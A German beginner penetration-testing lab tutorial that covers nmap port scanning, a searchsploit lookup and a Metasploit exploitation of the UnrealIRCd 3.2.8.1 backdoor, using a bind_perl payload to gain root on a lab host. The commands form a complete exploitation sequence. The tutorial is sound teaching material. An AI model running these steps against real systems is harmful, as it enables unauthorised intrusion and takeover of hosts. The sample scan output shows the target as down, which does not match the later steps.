Verwenden Sie Nmap, um Sicherheitslücken auf Zielhosts zu scannen und auszunutzen

CybersecurityCybersecurityBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

Netzwerkscannen ist ein äußerst praktisches Fachgebiet. Durch das Scannen eines Netzwerks können Benutzer Ports, die verschiedenen Diensten auf dem Zielhost zugewiesen sind, geöffnete Dienste, Dienstsoftware und -versionen sowie andere Informationen entdecken.

In diesem Lab (Praktikum) lernen Sie, wie Sie Sicherheitslücken von Netzwerkdiensten auf einem Zielhost scannen können.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("Cybersecurity")) -.-> cybersecurity/NmapGroup(["Nmap"]) nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("Nmap Port Scanning Methods") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416121{{"Verwenden Sie Nmap, um Sicherheitslücken auf Zielhosts zu scannen und auszunutzen"}} nmap/port_scanning -.-> lab-416121{{"Verwenden Sie Nmap, um Sicherheitslücken auf Zielhosts zu scannen und auszunutzen"}} end

Verwenden von Nmap zum Scannen offener Ports auf dem Zielhost

Der grundlegende Arbeitsablauf beim Netzwerkscannen ist wie folgt:

  1. Entdeckung des Zielhosts
  2. Portscannen
  3. Fingerprint-Informationen scannen
  4. Schwachstellenscannen
  5. Penetrationstests durchführen

Nmap (Network Mapper) ist ein leistungsstarkes Netzwerkscannwerkzeug. Es unterstützt verschiedene Scantechniken, wie UDP, TCP connect(), TCP SYN (Halboffenen Scan), FTP-Proxy (Bounce-Angriff), Reverse-Flag, ICMP, FIN, ACK-Scan, SYN-Scan und Null-Scan.

In diesem Schritt verwenden Sie Nmap, um die offenen Ports auf dem Zielhost zu scannen.

  1. Öffnen Sie ein Terminal und treten Sie in den Kali-Container ein:
docker run -ti --network host b5b709a49cd5 bash
  1. Verwenden Sie den Befehl nmap, um den Zielhost 192.168.122.102 zu scannen:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Dieser Befehl scannt alle Ports von 1 bis 65535 auf dem Zielhost mit einer Timing-Policy von 4 (schneller), aktiviert die Betriebssystem-Fingerprinting und die Versionserkennung und speichert die Ausgabe in /tmp/report.txt.

Analyse der Scanergebnisse

Nachdem Sie den Zielhost gescannt haben, müssen Sie die Scanergebnisse analysieren, um potenzielle Schwachstellen zu identifizieren.

  1. Zeigen Sie den Scanbericht an:
cat /tmp/report.txt

Dieser Befehl zeigt den Inhalt der Datei /tmp/report.txt an, die Informationen über die offenen Ports, Dienste und Versionen auf dem Zielhost enthält. Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. Verwenden Sie das Tool searchsploit, um nach Informationen zu Schwachstellen zu suchen:
searchsploit unreal ircd

Dieser Befehl durchsucht die Exploit-Datenbank nach Schwachstellen im Zusammenhang mit dem Dienst "unreal ircd". Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Zeigen Sie die Details einer Schwachstelle an:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Dieser Befehl zeigt den Inhalt der Exploit-Datei für die Schwachstelle an, die sich unter /usr/share/exploitdb/exploits/linux/remote/16922.rb befindet.

Ausnutzung einer Schwachstelle

Nachdem Sie die Scanergebnisse analysiert und potenzielle Schwachstellen identifiziert haben, können Sie versuchen, eine Schwachstelle auszunutzen, um einen Penetrationstest durchzuführen.

  1. Identifizieren Sie eine ausnutzbare Schwachstelle aus den Scanergebnissen. Nehmen wir beispielsweise an, der Scan habe einen offenen Port 6667 mit einem anfälligen Dienst gefunden.

  2. Starten Sie das Metasploit-Framework:

cd ~
msfconsole
  1. Wählen Sie im Metasploit-Konsole das entsprechende Exploit-Modul aus:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Legen Sie die IP-Adresse des Zielhosts fest:
set RHOST 192.168.122.102
  1. Legen Sie die Payload fest:
set PAYLOAD cmd/unix/bind_perl
  1. Starten Sie das Exploit:
exploit

Wenn die Ausnutzung erfolgreich ist, erhalten Sie Zugang zum Zielhost.

  1. Nach dem Versuch, eine Schwachstelle auszunutzen, sollten Sie überprüfen, ob die Ausnutzung erfolgreich war. Überprüfen Sie in der Metasploit-Sitzung den aktuellen Benutzer und den Hostnamen:
whoami
hostname

Wenn die Ausgabe zeigt, dass Sie als Benutzer root angemeldet sind und der Hostname mit dem des Zielhosts übereinstimmt, war die Ausnutzung erfolgreich.

Drücken Sie Strg+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.

Zusammenfassung

In diesem Lab (Praktikum) haben Sie den grundlegenden Arbeitsablauf des Netzwerkscannens kennengelernt, der die Entdeckung des Zielhosts, das Portscannen, das Scannen von Fingerprint-Informationen, das Schwachstellenscannen und das Durchführen von Penetrationstests umfasst. Sie haben das leistungsstarke Nmap-Tool verwendet, um die offenen Ports auf dem Zielhost zu scannen und die Scanergebnisse analysiert, um potenzielle Schwachstellen zu identifizieren. Darüber hinaus haben Sie gelernt, wie Sie mit dem Tool searchsploit nach Informationen zu Schwachstellen suchen und wie Sie mit dem Metasploit-Framework eine Schwachstelle ausnutzen können. Schließlich haben Sie den Erfolg der Ausnutzung überprüft, indem Sie den aktuellen Benutzer und den Hostnamen auf dem Zielhost überprüft haben.

Durch dieses praktische Lab haben Sie praktische Erfahrungen im Scannen von Sicherheitslücken von Netzwerkdiensten und beim Durchführen von Penetrationstests gesammelt. Dieses Wissen ist von entscheidender Bedeutung für die Gewährleistung der Sicherheit von Netzwerksystemen und die Identifizierung potenzieller Risiken.